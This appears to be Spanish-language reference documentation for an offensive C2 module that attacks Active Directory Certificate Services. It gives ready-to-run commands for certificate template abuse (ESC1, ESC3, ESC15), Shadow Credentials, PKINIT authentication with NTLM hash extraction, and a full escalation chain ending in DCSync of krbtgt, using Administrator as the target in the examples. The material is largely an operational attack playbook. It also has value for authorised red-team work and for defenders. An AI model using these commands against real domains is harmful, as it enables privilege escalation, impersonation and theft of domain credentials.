El módulo ADCS-BOF permite explotar configuraciones inseguras de Active Directory Certificate Services (AD CS). Incluye enumeración de CAs y plantillas, solicitud de certificados, autenticación con certificados (PKINIT) y el ataque Shadow Credentials.

Todos los comandos de este módulo se ejecutan bajo el prefijo certi.

Agentes compatibles: Beacon, Gopher, Kharon
Plataforma: Windows


certi enum

Enumera todas las Autoridades de Certificación (CA) y plantillas de certificados disponibles en el dominio.

Cuándo usarlo: Siempre como primer paso antes de cualquier ataque ADCS. La salida identifica plantillas con configuraciones vulnerables como:

  • ESC1: Plantilla que permite especificar un Subject Alternative Name (SAN) arbitrario con derechos de enrollment para usuarios de bajo privilegio
  • ESC3: Plantilla de Enrollment Agent que permite solicitar certificados en nombre de otros usuarios
  • ESC4: ACLs inseguros en plantillas que permiten modificarlas
  • ESC8: HTTP enrollment endpoint sin EPA (Extended Protection for Authentication)
  • ESC15: Plantillas sin política de aplicación que permiten inyectar client authentication
certi enum

No requiere argumentos.


certi auth

Autentica con un certificado PFX usando el protocolo PKINIT y extrae el hash NTLM del usuario mediante la técnica UnPAC-the-hash.

Cuándo usarlo: Después de obtener un certificado (con certi request o certi shadow), usa este comando para convertirlo en un hash NTLM utilizable para pass-the-hash o para solicitar TGTs con kerbeus asktgt.

certi auth --pfx /tmp/admin_cert.pfx
certi auth --pfx /tmp/admin_cert.pfx --password CertPass123
certi auth --cert MIIMcAIBAzCCDCwG.... --dc DC01.corp.local
certi auth --pfx /tmp/cert.pfx --no-unpac
ArgumentoRequeridoDescripción
--certSí*Certificado PFX codificado en Base64
--pfxSí*Archivo PFX del certificado
--passwordNoContraseña del PFX
--dcNoDomain Controller (auto-detectado si no se especifica)
--no-unpacNoSolo obtener TGT, no extraer hash NTLM

* Se debe especificar --cert o --pfx, no ambos.


certi request

Solicita un certificado a una CA. Este es el comando principal para explotar plantillas vulnerables.

Cuándo usarlo: Cuando certi enum ha revelado una plantilla vulnerable. Los escenarios más comunes:

ESC1 — SAN Injection

Si la plantilla permite especificar un Subject Alternative Name, puedes solicitar un certificado como otro usuario (por ejemplo, Administrator):

certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --altname "CN=Administrator,CN=Users,DC=corp,DC=local"

ESC1 con SID Extension

Para plantillas que usan la extensión SID en lugar de UPN:

certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --alturl "tag:microsoft.com,2022-09-14:sid:S-1-5-21-xxx-500"

ESC15 — Policy Injection

certi request --ca "cert.corp.local\CORP-CA" --template VulnTemplate --policy

Solicitud estándar

certi request --ca "cert.corp.local\CORP-CA"
certi request --ca "cert.corp.local\CORP-CA" --template User --install
certi request --ca "cert.corp.local\CORP-CA" --machine
ArgumentoRequeridoDescripción
--caAutoridad Certificadora (formato: host\CA-Name)
--templateNoNombre de la plantilla de certificado
--subjectNoDistinguished Name del sujeto
--altnameNoDN del sujeto alternativo (para ESC1)
--alturlNoURL del SAN (para SID extension en ESC1)
--pfx-passwordNoContraseña para el PFX de salida
--installNoInstalar el certificado en el contexto actual
--machineNoSolicitar certificado de máquina en lugar de usuario
--policyNoAgregar política de aplicación (para ESC15)
--dnsNoSAN como nombre DNS en lugar de UPN
--pemNoSalida en formato PEM en lugar de PFX

certi request_on_behalf

Solicita un certificado en nombre de otro usuario utilizando un certificado de Enrollment Agent (explotación de ESC3).

Cuándo usarlo: Cuando tienes un certificado de Enrollment Agent (obtenido mediante una plantilla ESC3 Step 1) y una segunda plantilla permite la solicitud en nombre de terceros.

Cadena de ataque ESC3:

  1. Solicitar certificado de Enrollment Agent: certi request --ca CA --template EnrollmentAgentTemplate
  2. Usar ese certificado para solicitar como otro usuario: certi request_on_behalf ...
  3. Autenticar con el certificado obtenido: certi auth --pfx resultado.pfx
certi request_on_behalf --ca "cert.corp.local\CORP-CA" --template VulnTemplate --target "CORP\Administrator" --ea-pfx /tmp/ea_cert.pfx
certi request_on_behalf --ca "cert.corp.local\CORP-CA" --template VulnTemplate --target "CORP\Administrator" --ea-pfx /tmp/ea_cert.pfx --ea-password EAPass
ArgumentoRequeridoDescripción
--caAutoridad Certificadora
--templateNombre de la plantilla
--targetUsuario objetivo (DOMINIO\usuario)
--ea-pfxArchivo PFX del certificado de Enrollment Agent
--ea-passwordNoContraseña del PFX del EA
--pfx-passwordNoContraseña para el PFX de salida
--pemNoSalida en formato PEM

certi shadow

Ejecuta el ataque Shadow Credentials escribiendo el atributo msDS-KeyCredentialLink en un objeto de AD y generando un certificado para autenticación PKINIT.

Cuándo usarlo: Cuando tienes permisos de escritura sobre un objeto de AD (GenericAll, GenericWrite, o WriteProperty sobre msDS-KeyCredentialLink). Es una forma de persistencia o de escalar privilegios sin necesidad de plantillas ADCS vulnerables.

Cadena de ataque:

  1. certi shadow --target victimUser → Obtiene certificado PFX
  2. certi auth --pfx certificado.pfx → Convierte a hash NTLM
  3. kerbeus asktgt /user:victimUser /rc4:HASH /ptt → Obtiene TGT
certi shadow --target Administrator
certi shadow --target svc_sql --domain corp.local
certi shadow --target Administrator --no-write
certi shadow --target old_user --clear
ArgumentoRequeridoDescripción
--targetsAMAccountName del objeto objetivo
--domainNoNombre del dominio (auto-detectado)
--no-writeNoSolo generar certificado, no escribir en AD
--clearNoLimpiar msDS-KeyCredentialLink existente (sin escribir uno nuevo)

Importante: Usa --clear después de terminar para limpiar los artefactos del ataque.


Cadena de explotación ADCS típica

1. certi enum                                              → Identificar plantillas vulnerables
2. certi request --ca CA --template Vuln --altname Admin   → Solicitar cert como Admin (ESC1)
3. certi auth --pfx admin_cert.pfx                         → Obtener hash NTLM de Admin
4. dcsync single CORP\krbtgt                               → DCSync con las credenciales obtenidas